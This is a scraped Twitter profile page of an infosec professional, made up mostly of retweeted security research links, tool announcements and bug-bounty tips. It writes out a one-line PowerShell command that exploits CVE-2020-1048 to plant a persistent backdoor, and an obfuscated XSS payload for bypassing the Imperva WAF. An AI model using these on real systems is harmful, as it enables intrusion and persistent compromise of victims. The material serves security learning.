Prakashchand Suthar @PrakashPSC

OSWE, OSCP, Information Security addict. Security professional #infosec India Joined March 2012

Tweets

1K
Followers

73
Following

450
Likes

498

Prakashchand Suthar @PrakashPSC

5 years ago

Finally #OSWE certified. Thanks #OffensiveSecurity for this great learning experience. It was one of the most challenging exam I have ever taken. 48 hours long painful but amazing experience. #Itriedharder!

2 0 5 0 0

Download Image

Binni Shah @binitamshah

5 years ago

Interactive Map of Linux Kernel : makelinux.github.io/kernel/map/ (Below is taken from wikipedia)

8 406 1K 0 219

Download Image

Alex Ionescu @aionescu

5 years ago

Attackers can exploit CVE-2020-1048 with a single PowerShell command: Add-PrinterPort -Name c:\windows\system32\ualapi.dll On an unpatched system, this will install a persistent backdoor, that won't go away *even after you patch*. See windows-internals.com/printdemon-cve… for more details.

28 1K 2K 0 323

Binni Shah @binitamshah

5 years ago

Decrypting and analyzing HTTPS traffic without MITM (includes new Burp extension) : blog.silentsignal.eu/2020/05/04/dec… Extracting TLS keys from an unwilling application : m1el.github.io/oculus-tls-ext…

0 112 258 0 65

Download Image

Alex Ionescu @aionescu

5 years ago

With the MITRE results recently published, @yarden_shafir and I got motivated into having some fun with offensive techniques as part of some Spooler/Fax research. We just published "Faxhell" on GitHub at github.com/ionescu007/fax… with a blog up at windows-internals.com/faxing-your-wa… Enjoy!

11 179 385 0 61

Download Image

Hack3rScr0lls @hackerscrolls

5 years ago

We have prepared a mindmap for you with 16 ways how to perfom 2FA security testing. It is based on our practical experience and articles by @0xw2w and @ahack_ru. bit.ly/2T95RWU blog.deteact.com/common-flaws-o… #BugBountyTip #TogetherWeHitHarder

2 216 441 0 155

Download Image

mandatory.bsky.social @IAmMandatory

5 years ago

Releasing another side-project: CursedChrome. A Chrome-extension implant that turns victim Chrome browsers into HTTP proxies. Using these proxies you can browse the web authenticated as your victims for all of their websites. Setup takes only 5-10 mins 👍 github.com/mandatoryprogr…

14 365 973 0 219

Download Image

Ammar Amer @cry__pto

5 years ago

Hacking Tools Cheat Sheet: github.com/CompassSecurit… #pentest #Hacking #pentesting #BugBountyTip #redteam #OSINT #BugBounty #BugBountyTips

11 463 1K 0 437

Download Image

Mobile Security @mobilesecurity_

5 years ago

Android App Reverse Engineering LIVE - Part 1 #MobileSecurity #AndroidSecurity by @maddiestone youtu.be/BijZmutY0CQ

1 90 235 0 34

Download Image

Binni Shah @binitamshah

5 years ago

Abusing HTTP Path Normalization and Cache Poisoning to steal Rocket League accounts : samcurry.net/abusing-http-p… cc @samwcyo Ref : Decrypting SSL/TLS traffic with Wireshark : resources.infosecinstitute.com/decrypting-ssl… cc @InfosecEdu

0 53 124 0 25

Clément Notin @cnotin

6 years ago

💉 Server-Side Template Injection (#SSTI) in Razor (ASP. NET) clement.notin.org/blog/2020/04/1… #appsec #pentest #owasp #bugbountytip

1 112 226 0 62

/𝒅𝒆𝒗/𝒏𝒖𝒍𝒍 台風 @spyerror

6 years ago

Imperva WAF Bypass for XSS; <details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> - without parentheses, 'alert', 'document.domain' , 'window' , space #BugBounty #BugBountyTip #WAF #infosec 🐾

2 122 285 0 57

Janggggg @testanull

6 years ago

CVE-2020-7961 direct shell PoC Generator: gist.github.com/testanull/4f8a… Payload: gist.github.com/testanull/4bb7… Blog post in Vietnamese: facebook.com/notes/nguy%E1%… Much respect to @codewhitesec and @ mbechler

0 118 287 0 54

Download Image

Prakashchand Suthar @PrakashPSC

6 years ago

CVE-2020-0729: REMOTE CODE EXECUTION THROUGH .LNK FILES zerodayinitiative.com/blog/2020/3/25…

0 0 0 0 0

Prakashchand Suthar @PrakashPSC

6 years ago

Live Corona virus COVID19 Map world wide. coronamap.in

0 0 0 0 0

payloadartist @payloadartist

6 years ago

A simple one liner I use to enumerate sub-domains and open them in Firefox, coz it's oddly satisfying. Particularly useful to take a quick glance at sub-domains and take notes. #bugbounty #bugbountytip

3 175 450 0 128

Download Image

Ammar Amer @cry__pto

6 years ago

#HackTheBox Your Full Guide: HTB: CTF.pdf github.com/blaCCkHatHacEE… HTB: Luke.pdf github.com/blaCCkHatHacEE… HTB: Ghoul.pdf github.com/blaCCkHatHacEE… HTB: Arkham.pdf github.com/blaCCkHatHacEE… HTB: Holiday.pdf github.com/blaCCkHatHacEE… #ctf #BugBountytips #Hacking #PenTest #redteam #OSINT

2 157 380 0 113

Ajin Abraham @ajinabraham

6 years ago

Stealing credit card data in seconds. I wrote a new blog and made up a quick demo video to show you how easy it is to steal card details. ajinabraham.com/blog/stealing-… #creditcard #security #cardfraud #cybersecurity #contactlesstransactions #QuaratineLife

1 57 128 0 25

Download Image

payloadartist @payloadartist

6 years ago

Some awesome wordlists for fuzzing and dir bruteforce: (By @nullenc0de) gist.github.com/nullenc0de/9cb… gist.github.com/nullenc0de/96f… (By @Jhaddix) gist.github.com/jhaddix/f64c97… gist.github.com/jhaddix/b80ea6… (By @i_bo0om github.com/Bo0oM/fuzz.txt… github.com/Bo0oM/fuzz.txt… #bugbounty #bugbountytip

4 261 605 0 247

S‎‎i‎‎‎‎n‎@‎d‎‎ef‎c‎on‎‎.‎‎‎s‎o‎c‎‎‎i‎‎‎a‎l‎‎ @sinwindie

6 years ago

These social media guides are... getting out of hand... Completed my chart that lays out all of the #LinkedIn points of #exploitation for an #OSINT investigation. Anyone spot something I might have missed? Follow-up guide to be in the works soon.